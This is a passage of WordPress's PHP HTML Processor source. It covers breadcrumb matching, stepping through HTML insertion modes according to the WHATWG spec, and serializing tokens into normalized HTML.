			$this->breadcrumbs[] = $this->current_element->token->node_name;
		}

		// Avoid sending close events for elements which don't expect a closing.
		if ( $is_pop && ! $this->expects_closer( $this->current_element->token ) ) {
			return $this->next_visitable_token();
		}

		return true;
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return $this->is_virtual()
			? ( WP_HTML_Stack_Event::POP === $this->current_element->operation && '#tag' === $this->get_token_type() )
			: parent::is_tag_closer();
	}

	/**
	 * Indicates if the currently-matched token is virtual, created by a stack operation
	 * while processing HTML, rather than a token found in the HTML text itself.
	 *
	 * @since 6.6.0
	 *
	 * @return bool Whether the current token is virtual.
	 */
	private function is_virtual(): bool {
		return (
			isset( $this->current_element->provenance ) &&
			'virtual' === $this->current_element->provenance
		);
	}

	/**
	 * Indicates if the currently-matched tag matches the given breadcrumbs.
	 *
	 * A "*" represents a single tag wildcard, where any tag matches, but not no tags.
	 *
	 * At some point this function _may_ support a `**` syntax for matching any number
	 * of unspecified tags in the breadcrumb stack. This has been intentionally left
	 * out, however, to keep this function simple and to avoid introducing backtracking,
	 * which could open up surprising performance breakdowns.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><span><figure><img></figure></span></div>' );
	 *     $processor->next_tag( 'img' );
	 *     true  === $processor->matches_breadcrumbs( array( 'figure', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', 'figure', 'img' ) );
	 *     false === $processor->matches_breadcrumbs( array( 'span', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', '*', 'img' ) );
	 *
	 * @since 6.4.0
	 *
	 * @param string[] $breadcrumbs DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                              May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * @return bool Whether the currently-matched tag is found at the given nested structure.
	 */
	public function matches_breadcrumbs( $breadcrumbs ): bool {
		// Everything matches when there are zero constraints.
		if ( 0 === count( $breadcrumbs ) ) {
			return true;
		}

		// Start at the last crumb.
		$crumb = end( $breadcrumbs );

		if ( '*' !== $crumb && $this->get_tag() !== strtoupper( $crumb ) ) {
			return false;
		}

		for ( $i = count( $this->breadcrumbs ) - 1; $i >= 0; $i-- ) {
			$node  = $this->breadcrumbs[ $i ];
			$crumb = strtoupper( current( $breadcrumbs ) );

			if ( '*' !== $crumb && $node !== $crumb ) {
				return false;
			}

			if ( false === prev( $breadcrumbs ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the currently-matched node expects a closing
	 * token, or if it will self-close on the next step.
	 *
	 * Most HTML elements expect a closer, such as a P element or
	 * a DIV element. Others, like an IMG element are void and don't
	 * have a closing tag. Special elements, such as SCRIPT and STYLE,
	 * are treated just like void tags. Text nodes and self-closing
	 * foreign content will also act just like a void tag, immediately
	 * closing as soon as the processor advances to the next token.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token|null $node Optional. Node to examine, if provided.
	 *                                 Default is to examine current node.
	 * @return bool|null Whether to expect a closer for the currently-matched node,
	 *                   or `null` if not matched on any token.
	 */
	public function expects_closer( ?WP_HTML_Token $node = null ): ?bool {
		$token_name = $node->node_name ?? $this->get_token_name();

		if ( ! isset( $token_name ) ) {
			return null;
		}

		$token_namespace        = $node->namespace ?? $this->get_namespace();
		$token_has_self_closing = $node->has_self_closing_flag ?? $this->has_self_closing_flag();

		return ! (
			// Comments, text nodes, and other atomic tokens.
			'#' === $token_name[0] ||
			// Doctype declarations.
			'html' === $token_name ||
			// Void elements.
			( 'html' === $token_namespace && self::is_void( $token_name ) ) ||
			// Special atomic elements.
			( 'html' === $token_namespace && in_array( $token_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) ||
			// Self-closing elements in foreign content.
			( 'html' !== $token_namespace && $token_has_self_closing )
		);
	}

	/**
	 * Steps through the HTML document and stop at the next tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @see self::PROCESS_NEXT_NODE
	 * @see self::REPROCESS_CURRENT_NODE
	 *
	 * @param string $node_to_process Whether to parse the next node or reprocess the current node.
	 * @return bool Whether a tag was matched.
	 */
	public function step( $node_to_process = self::PROCESS_NEXT_NODE ): bool {
		// Refuse to proceed if there was a previous error.
		if ( null !== $this->last_error ) {
			return false;
		}

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			/*
			 * Void elements still hop onto the stack of open elements even though
			 * there's no corresponding closing tag. This is important for managing
			 * stack-based operations such as "navigate to parent node" or checking
			 * on an element's breadcrumbs.
			 *
			 * When moving on to the next node, therefore, if the bottom-most element
			 * on the stack is a void element, it must be closed.
			 */
			$top_node = $this->state->stack_of_open_elements->current_node();
			if ( isset( $top_node ) && ! $this->expects_closer( $top_node ) ) {
				$this->state->stack_of_open_elements->pop();
			}
		}

		if ( self::PROCESS_NEXT_NODE === $node_to_process ) {
			parent::next_token();
			if ( WP_HTML_Tag_Processor::STATE_TEXT_NODE === $this->parser_state ) {
				parent::subdivide_text_appropriately();
			}
		}

		// Finish stepping when there are no more tokens in the document.
		if (
			WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			WP_HTML_Tag_Processor::STATE_COMPLETE === $this->parser_state
		) {
			return false;
		}

		$adjusted_current_node = $this->get_adjusted_current_node();
		$is_closer             = $this->is_tag_closer();
		$is_start_tag          = WP_HTML_Tag_Processor::STATE_MATCHED_TAG === $this->parser_state && ! $is_closer;
		$token_name            = $this->get_token_name();

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			$this->state->current_token = new WP_HTML_Token(
				$this->bookmark_token(),
				$token_name,
				$this->has_self_closing_flag(),
				$this->release_internal_bookmark_on_destruct
			);
		}

		$parse_in_current_insertion_mode = (
			0 === $this->state->stack_of_open_elements->count() ||
			'html' === $adjusted_current_node->namespace ||
			(
				'math' === $adjusted_current_node->integration_node_type &&
				(
					( $is_start_tag && ! in_array( $token_name, array( 'MGLYPH', 'MALIGNMARK' ), true ) ) ||
					'#text' === $token_name
				)
			) ||
			(
				'math' === $adjusted_current_node->namespace &&
				'ANNOTATION-XML' === $adjusted_current_node->node_name &&
				$is_start_tag && 'SVG' === $token_name
			) ||
			(
				'html' === $adjusted_current_node->integration_node_type &&
				( $is_start_tag || '#text' === $token_name )
			)
		);

		try {
			if ( ! $parse_in_current_insertion_mode ) {
				return $this->step_in_foreign_content();
			}

			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		} catch ( WP_HTML_Unsupported_Exception $e ) {
			/*
			 * Exceptions are used in this class to escape deep call stacks that
			 * otherwise might involve messier calling and return conventions.
			 */
			return false;
		}
	}

	/**
	 * Computes the HTML breadcrumbs for the currently-matched node, if matched.
	 *
	 * Breadcrumbs start at the outermost parent and descend toward the matched element.
	 * They always include the entire path from the root HTML node to the matched element.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<p><strong><em><img></em></strong></p>' );
	 *     $processor->next_tag( 'IMG' );
	 *     $processor->get_breadcrumbs() === array( 'HTML', 'BODY', 'P', 'STRONG', 'EM', 'IMG' );
	 *
	 * @since 6.4.0
	 *
	 * @return string[] Array of tag names representing path to matched node.
	 */
	public function get_breadcrumbs(): array {
		return $this->breadcrumbs;
	}

	/**
	 * Returns the nesting depth of the current location in the document.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><p></p></div>' );
	 *     // The processor starts in the BODY context, meaning it has depth from the start: HTML > BODY.
	 *     2 === $processor->get_current_depth();
	 *
	 *     // Opening the DIV element increases the depth.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 *     // Opening the P element increases the depth.
	 *     $processor->next_token();
	 *     4 === $processor->get_current_depth();
	 *
	 *     // The P element is closed during `next_token()` so the depth is decreased to reflect that.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 * @since 6.6.0
	 *
	 * @return int Nesting-depth of current location in the document.
	 */
	public function get_current_depth(): int {
		return count( $this->breadcrumbs );
	}

	/**
	 * Normalizes an HTML fragment by serializing it.
	 *
	 * This method assumes that the given HTML snippet is found in BODY context.
	 * For normalizing full documents or fragments found in other contexts, create
	 * a new processor using {@see WP_HTML_Processor::create_fragment} or
	 * {@see WP_HTML_Processor::create_full_parser} and call {@see WP_HTML_Processor::serialize}
	 * on the created instances.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     echo WP_HTML_Processor::normalize( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     echo WP_HTML_Processor::normalize( '<div></p>fun<table><td>cell</div>' );
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     echo WP_HTML_Processor::normalize( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @param string $html Input HTML to normalize.
	 *
	 * @return string|null Normalized output, or `null` if unable to normalize.
	 */
	public static function normalize( string $html ): ?string {
		return static::create_fragment( $html )->serialize();
	}

	/**
	 * Returns normalized HTML for a fragment by serializing it.
	 *
	 * This differs from {@see WP_HTML_Processor::normalize} in that it starts with
	 * a specific HTML Processor, which _must_ not have already started scanning;
	 * it must be in the initial ready state and will be in the completed state once
	 * serialization is complete.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     echo $processor->serialize();
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div></p>fun<table><td>cell</div>' );
	 *     echo $processor->serialize();
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     echo $processor->serialize();
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Normalized HTML markup represented by processor,
	 *                     or `null` if unable to generate serialization.
	 */
	public function serialize(): ?string {
		if ( WP_HTML_Tag_Processor::STATE_READY !== $this->parser_state ) {
			wp_trigger_error(
				__METHOD__,
				'An HTML Processor which has already started processing cannot serialize its contents. Serialize immediately after creating the instance.',
				E_USER_WARNING
			);
			return null;
		}

		$html = '';
		while ( $this->next_token() ) {
			$html .= $this->serialize_token();
		}

		if ( null !== $this->get_last_error() ) {
			wp_trigger_error(
				__METHOD__,
				"Cannot serialize HTML Processor with parsing error: {$this->get_last_error()}.",
				E_USER_WARNING
			);
			return null;
		}

		return $html;
	}

	/**
	 * Serializes the currently-matched token.
	 *
	 * This method produces a fully-normative HTML string for the currently-matched token,
	 * if able. If not matched at any token or if the token doesn't correspond to any HTML
	 * it will return an empty string (for example, presumptuous end tags are ignored).
	 *
	 * @see static::serialize()
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Converted from protected to public method.
	 *
	 * @return string Serialization of token, or empty string if no serialization exists.
	 */
	public function serialize_token(): string {
		$html       = '';
		$token_type = $this->get_token_type();

		switch ( $token_type ) {
			case '#doctype':
				$doctype = $this->get_doctype_info();
				if ( null === $doctype ) {
					break;
				}

				$html .= '<!DOCTYPE';

				if ( $doctype->name ) {
					$html .= " {$doctype->name}";
				}

				if ( null !== $doctype->public_identifier ) {
					$quote = str_contains( $doctype->public_identifier, '"' ) ? "'" : '"';
					$html .= " PUBLIC {$quote}{$doctype->public_identifier}{$quote}";
				}
				if ( null !== $doctype->system_identifier ) {
					if ( null === $doctype->public_identifier ) {
						$html .= ' SYSTEM';
					}
					$quote = str_contains( $doctype->system_identifier, '"' ) ? "'" : '"';
					$html .= " {$quote}{$doctype->system_identifier}{$quote}";
				}

				$html .= '>';
				break;

			case '#text':
				$html .= htmlspecialchars( $this->get_modifiable_text(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
				break;

			// Unlike the `<>` which is interpreted as plaintext, this is ignored entirely.
			case '#presumptuous-tag':
				break;

			case '#funky-comment':
			case '#comment':
				$html .= "<!--{$this->get_full_comment_text()}-->";
				break;

			case '#cdata-section':
				$html .= "<![CDATA[{$this->get_modifiable_text()}]]>";
				break;
		}

		if ( '#tag' !== $token_type ) {
			return $html;
		}

		$tag_name       = str_replace( "\x00", "\u{FFFD}", $this->get_tag() );
		$in_html        = 'html' === $this->get_namespace();
		$qualified_name = $in_html ? strtolower( $tag_name ) : $this->get_qualified_tag_name();

		if ( $this->is_tag_closer() ) {
			$html .= "</{$qualified_name}>";
			return $html;
		}

		$attribute_names = $this->get_attribute_names_with_prefix( '' );
		if ( ! isset( $attribute_names ) ) {
			$html .= "<{$qualified_name}>";
			return $html;
		}

		$html .= "<{$qualified_name}";
		foreach ( $attribute_names as $attribute_name ) {
			$html .= " {$this->get_qualified_attribute_name( $attribute_name )}";
			$value = $this->get_attribute( $attribute_name );

			if ( is_string( $value ) ) {
				$html .= '="' . htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 ) . '"';
			}

			$html = str_replace( "\x00", "\u{FFFD}", $html );
		}

		if ( ! $in_html && $this->has_self_closing_flag() ) {
			$html .= ' /';
		}

		$html .= '>';

		// Flush out self-contained elements.
		if ( $in_html && in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) {
			$text = $this->get_modifiable_text();

			switch ( $tag_name ) {
				case 'IFRAME':
				case 'NOEMBED':
				case 'NOFRAMES':
					$text = '';
					break;

				case 'SCRIPT':
				case 'STYLE':
					break;

				default:
					$text = htmlspecialchars( $text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
			}

			$html .= "{$text}</{$qualified_name}>";
		}

		return $html;
	}

	/**
	 * Parses next element in the 'initial' insertion mode.
	 *
	 * This internal function performs the 'initial' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_initial(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto initial_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				$doctype = $this->get_doctype_info();
				if ( null !== $doctype && 'quirks' === $doctype->indicated_compatibility_mode ) {
					$this->compat_mode = WP_HTML_Tag_Processor::QUIRKS_MODE;
				}

				/*
				 * > Then, switch the insertion mode to "before html".
				 */
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
				$this->insert_html_element( $this->state->current_token );
				return true;
		}

		/*
		 * > Anything else
		 */
		initial_anything_else:
		$this->compat_mode           = WP_HTML_Tag_Processor::QUIRKS_MODE;
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before html' insertion mode.
	 *
	 * This internal function performs the 'before html' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_html(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_html_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto before_html_anything_else;
				break;
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else.
		 *
		 * > Create an html element whose node document is the Document object.
		 * > Append it to the Document object. Put this element in the stack of open elements.
		 * > Switch the insertion mode to "before head", then reprocess the token.
		 */
		before_html_anything_else:
		$this->insert_virtual_node( 'HTML' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before head' insertion mode.
	 *
	 * This internal function performs the 'before head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "head"
			 */
			case '+HEAD':
				$this->insert_html_element( $this->state->current_token );
				$this->state->head_element   = $this->state->current_token;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 * > Act as described in the "anything else" entry below.
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				goto before_head_anything_else;
				break;
		}

		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * > Insert an HTML element for a "head" start tag token with no attributes.
		 */
		before_head_anything_else:
		$this->state->head_element   = $this->insert_virtual_node( 'HEAD' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head' insertion mode.
	 *
	 * This internal function performs the 'in head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inhead
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is one of U+0009 CHARACTER TABULATION,
				 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
				 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
				 */
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "meta"
			 */
			case '+META':
				$this->insert_html_element( $this->state->current_token );

				// All following conditions depend on "tentative" encoding confidence.
				if ( 'tentative' !== $this->state->encoding_confidence ) {
					return true;
				}

				/*
				 * > If the active speculative HTML parser is null, then:
				 * >   - If the element has a charset attribute, and getting an encoding from
				 * >     its value results in an encoding, and the confidence is currently
				 * >     tentative, then change the encoding to the resulting encoding.
				 */
				$charset = $this->get_attribute( 'charset' );
				if ( is_string( $charset ) ) {
					$this->bail( 'Cannot yet process META tags with charset to determine encoding.' );
				}

				/*
				 * >   - Otherwise, if the element has an http-equiv attribute whose value is
				 * >     an ASCII case-insensitive match for the string "Content-Type", and
				 * >     the element has a content attribute, and applying the algorithm for
				 * >     extracting a character encoding from a meta element to that attribute's
				 * >     value returns an encoding, and the confidence is currently tentative,
				 * >     then change the encoding to the extracted encoding.
				 */
				$http_equiv = $this->get_attribute( 'http-equiv' );
				$content    = $this->get_attribute( 'content' );
				if (
					is_string( $http_equiv ) &&
					is_string( $content ) &&
					0 === strcasecmp( $http_equiv, 'Content-Type' )
				) {
					$this->bail( 'Cannot yet process META tags with http-equiv Content-Type to determine encoding.' );
				}

				return true;

			/*
			 * > A start tag whose tag name is "title"
			 */
			case '+TITLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 * > A start tag whose tag name is one of: "noframes", "style"
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOFRAMES':
			case '+STYLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is disabled
			 */
			case '+NOSCRIPT':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT;
				return true;

			/*
			 * > A start tag whose tag name is "script"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+SCRIPT':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "head"
			 */
			case '-HEAD':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto in_head_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "template"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+TEMPLATE':
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;

				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->generate_implied_end_tags_thoroughly();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

